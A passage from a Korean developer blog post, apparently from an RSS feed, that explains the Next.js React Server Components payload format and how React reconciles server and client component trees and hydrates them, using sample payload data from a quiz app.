c:[[&quot;$&quot;,&quot;meta&quot;,&quot;0&quot;,{&quot;name&quot;:&quot;viewport&quot;,&quot;content&quot;:&quot;width=device-width, initial-scale=1&quot;}],[&quot;$&quot;,&quot;meta&quot;,&quot;1&quot;,{&quot;charSet&quot;:&quot;utf-8&quot;}],[&quot;$&quot;,&quot;title&quot;,&quot;2&quot;,{&quot;children&quot;:&quot;í€´ì¦ˆ ì‹œìž‘í•˜ê¸°&quot;}],[&quot;$&quot;,&quot;meta&quot;,&quot;3&quot;,{&quot;name&quot;:&quot;description&quot;,&quot;content&quot;:&quot;í€´ì¦ˆë¥¼ í†µí•´ ê°œë°œ ì§€ì‹ì„ í…ŒìŠ¤íŠ¸í•´ ë³´ì„¸ìš”.í”„ë¡ íŠ¸ ì—”ë“œ, ë°±ì—”ë“œ, ë°ì´í„°ë² ì´ìŠ¤, ë„¤íŠ¸ì›Œí¬, ì•Œê³ ë¦¬ì¦˜ ë“± ë‹¤ì–‘í•œ ì£¼ì œì˜ í€´ì¦ˆë¥¼ í’€ì–´ë³´ì„¸ìš”.&quot;}],[&quot;$&quot;,&quot;meta&quot;,&quot;4&quot;,{&quot;name&quot;:&quot;application-name&quot;,&quot;content&quot;:&quot;ê°œë°œ í€´ì¦ˆ ì•±&quot;}],[&quot;$&quot;,&quot;link&quot;,&quot;5&quot;,{&quot;rel&quot;:&quot;author&quot;,&quot;href&quot;:&quot;https://github.com/BrightJun96&quot;}],[&quot;$&quot;,&quot;meta&quot;,&quot;6&quot;,{&quot;name&quot;:&quot;author&quot;,&quot;content&quot;:&quot;jjalseu&quot;}],[&quot;$&quot;,&quot;meta&quot;,&quot;7&quot;,{&quot;name&quot;:&quot;generator&quot;,&quot;content&quot;:&quot;Next.js&quot;}],[&quot;$&quot;,&quot;meta&quot;,&quot;8&quot;,{&quot;name&quot;:&quot;keywords&quot;,&quot;content&quot;:&quot;Next.js,í€´ì¦ˆ,quiz,ì½”ì•„,ê°œë°œìž,ê°œë°œì§€ì‹,ê°œë°œìžë“¤ì„ ìœ„í•œ í€´ì¦ˆ,ê°œë°œ í€´ì¦ˆ&quot;}],[&quot;$&quot;,&quot;meta&quot;,&quot;9&quot;,{&quot;name&quot;:&quot;referrer&quot;,&quot;content&quot;:&quot;origin-when-cross-origin&quot;}],[&quot;$&quot;,&quot;meta&quot;,&quot;10&quot;,{&quot;name&quot;:&quot;creator&quot;,&quot;content&quot;:&quot;jjalseu&quot;}],[&quot;$&quot;,&quot;meta&quot;,&quot;11&quot;,{&quot;name&quot;:&quot;publisher&quot;,&quot;content&quot;:&quot;jjalseu&quot;}],[&quot;$&quot;,&quot;link&quot;,&quot;12&quot;,{&quot;rel&quot;:&quot;icon&quot;,&quot;href&quot;:&quot;/favicon.ico&quot;,&quot;type&quot;:&quot;image/x-icon&quot;,&quot;sizes&quot;:&quot;16x16&quot;}],[&quot;$&quot;,&quot;meta&quot;,&quot;13&quot;,{&quot;name&quot;:&quot;next-size-adjust&quot;}]]
1:null
</code></pre><p><strong>I 타입 데이터:</strong></p>
<p>위 응답 데이터를 확인해보면 다음과 같은 데이터가 있는데요.</p>
<pre><code>3:I[1994,[&quot;946&quot;,&quot;static/chunks/app/(page)/quiz/layout-baaf889432faea58.js&quot;],&quot;default&quot;]
6:I[3606,[&quot;231&quot;,&quot;static/chunks/231-8f68daddfd42f71b.js&quot;,&quot;185&quot;,&quot;static/chunks/app/layout-fe03fd3fabb6c2db.js&quot;],&quot;default&quot;]</code></pre><p>여기서 <strong>I는 클라이언트 컴포넌트</strong>를 나타내며, 배열 안에 <strong>위치 정보</strong>와 관련된 참조 데이터가 포함됩니다.</p>
<p>첫 번째 숫자 (1994, 3606)는 고유 ID로 보이며,** 컴포넌트의 위치를 추적**하거나 식별하는 데 사용됩니다.</p>
<p>&quot;static/chunks/...&quot;는 해당 컴포넌트를 로드하기 위한 <strong>JavaScript 파일 경로</strong>로, 클라이언트 컴포넌트의 <strong>구체적인 위치</strong>와 관련이 있습니다.</p>
<p><strong>segmentPath 필드:</strong>
위 응답 데이터를 확인해보면 다음과 같은 데이터가 있는데요.</p>
<pre><code class="language-&quot;segmentPath&quot;:[&quot;children&quot;,&quot;(page)&quot;,&quot;children&quot;,&quot;quiz&quot;,&quot;children&quot;]"></code></pre>
<p>segmentPath는 <strong>서버 컴포넌트 트리에서 클라이언트 컴포넌트가 위치한 경로</strong>를 정의합니다.</p>
<p>경로는 부모-자식 관계를 나타내며, 클라이언트 컴포넌트를 어디에서 렌더링해야 하는지를 명확히 합니다.</p>
<p><strong>클라이언트 컴포넌트 관련 props 데이터:</strong></p>
<pre><code>{&quot;parallelRouterKey&quot;:&quot;children&quot;,&quot;template&quot;:[&quot;$&quot;,&quot;$L5&quot;,null,{}]}</code></pre><p>parallelRouterKey는 클라이언트 컴포넌트를 렌더링할 특정 영역(슬롯)을 지정하며, 어떤 props나 템플릿 데이터가 적용되어야 하는지도 정의됩니다.</p>
<p><strong>이벤트 참조 정보</strong></p>
<p>위 응답값 기준으로 다음과 같은 데이터가 있습니다.</p>
<pre><code>[&quot;$&quot;,&quot;div&quot;,null,{&quot;className&quot;:&quot;flex flex-col&quot;,&quot;children&quot;:[[&quot;$&quot;,&quot;h1&quot;,null,{&quot;className&quot;:&quot;text-title1 text-center&quot;,&quot;children&quot;:&quot;개발 퀴즈&quot;}],[&quot;$&quot;,&quot;button&quot;,null,{&quot;onClick&quot;:[&quot;$&quot;,&quot;$handleClick&quot;],&quot;children&quot;:&quot;시작하기&quot;}]]}]</code></pre><p>onClick: &quot;handleClick&quot;과 같은 이벤트 핸들러를 클라이언트에서 실행할 것을 정의하고 React는 이 핸들러를 클라이언트에서 활성화하고 바인딩합니다.</p>
<h2 id="트리-조정reconcile-the-client-and-server-component-trees">트리 조정(reconcile the Client and Server Component trees)</h2>
<p>그 다음으로 문서에서는 다음과 같이 설명을 하는데요.</p>
<blockquote>
<p>그런 다음 클라이언트에서는:
HTML을 사용하여 경로의 빠른 비인터랙티브 미리보기를 즉시 표시합니다 - 이는 초기 페이지 로드에만 해당됩니다.
React Server Components Payload를 사용하여 Client와 Server Component 트리를 조정하고 DOM을 업데이트합니다.
JavaScript 지침을 사용하여 Client Components를 하이드레이션(opens in a new tab)하고 애플리케이션을 인터랙티브하게 만듭니다.
(Then, on the client:
The HTML is used to immediately show a fast non-interactive preview of the route - this is for the initial page load only.
The React Server Components Payload is used to reconcile the Client and Server Component trees, and update the DOM.
The JavaScript instructions are used to hydrate Client Components and make the application interactive.)</p>
</blockquote>
<p>위에서는 <code>reconcile the Client and Server Component trees</code>이에 대한 문구가 잘 이해가 되지 않았어요.</p>
<p>자세히 살펴볼게요.</p>
<blockquote>
<p><code>reconcile the Client and Server Component trees</code>라는 문장은 클라이언트와 서버 컴포넌트 트리의 상태를 동기화하고 일치시키는 과정을 의미합니다. </p>
</blockquote>
<h3 id="react의-reconciliation">React의 Reconciliation</h3>
<p><strong>Reconciliation(재조정)</strong>은 React의 핵심 알고리즘입니다. 컴포넌트의 변경 사항을 감지하고, 필요한 부분만 업데이트하여 효율적으로 DOM을 관리합니다.</p>
<p>Server Component는 서버에서 렌더링된 상태로 클라이언트에 전달됩니다. 이후 클라이언트는 서버에서 받은 데이터와 로컬 상태(또는 UI)를 비교하여 최적의 DOM 업데이트를 수행합니다.</p>
<h3 id="클라이언트와-서버-트리의-역할">클라이언트와 서버 트리의 역할</h3>
<h4 id="server-component-tree">Server Component Tree</h4>
<p>서버에서 렌더링된 UI 상태를 나타냅니다.
React의 &quot;React Server Component Payload (RSC Payload)&quot;로 클라이언트에 전달됩니다. Payload는 아까 무엇인지 위에서 자세히 알아봤었죠?</p>
<h4 id="client-component-tree">Client Component Tree</h4>
<p>클라이언트에서 JavaScript를 통해 상호작용 가능한 상태를 나타냅니다.
서버에서 내려온 HTML과 RSC Payload를 기반으로 상호작용 가능한 React 트리를 형성합니다.</p>
<h3 id="reconciliation이-필요한-이유">Reconciliation이 필요한 이유</h3>
<p>클라이언트와 서버 트리는 서로 다른 작업을 담당합니다.</p>
<p>서버 트리는 HTML과 초기 상태를 전달합니다.클라이언트 트리는 상호작용 및 상태 업데이트를 처리합니다.</p>
<p>클라이언트가 서버에서 제공된 UI를 이어받아 일관성을 유지하고, UI 업데이트를 원활히 하기 위해 <strong>둘의 트리가 정확히 동기화</strong>되어야 합니다.</p>
<h3 id="reconciliation의-과정">Reconciliation의 과정</h3>
<ul>
<li><strong>RSC Payload 전달</strong>
서버에서 React는 Server Component Tree를 기반으로 RSC Payload를 생성하여 클라이언트로 전달합니다.</li>
</ul>
<ul>
<li><p><strong>초기 HTML 렌더링</strong>
클라이언트는 먼저 서버에서 전달된 HTML을 <strong>&quot;비상호작용적인&quot;</strong> 형태로 렌더링합니다.
이는 사용자가 빠르게 초기 화면을 볼 수 있도록 합니다.</p>
</li>
<li><p><strong>Tree 동기화</strong>
클라이언트는 서버에서 받은 RSC Payload를 사용해, <strong>서버 트리와 현재 클라이언트 트리를 비교(Reconcile)</strong>합니다.
React는 차이를 계산하고, 필요한 부분만 DOM에 반영하여 효율적인 업데이트를 수행합니다.</p>
</li>
<li><p><strong>Hydration (하이드레이션)</strong>
클라이언트에서 JavaScript를 통해 <strong>상호작용 가능한 컴포넌트를 활성화</strong>합니다.
이 과정에서 서버에서 렌더링된 HTML에 클릭, 이벤트 등의 기능이 연결됩니다.</p>
</li>
</ul>
]]></description>
        </item>
    </channel>
</rss>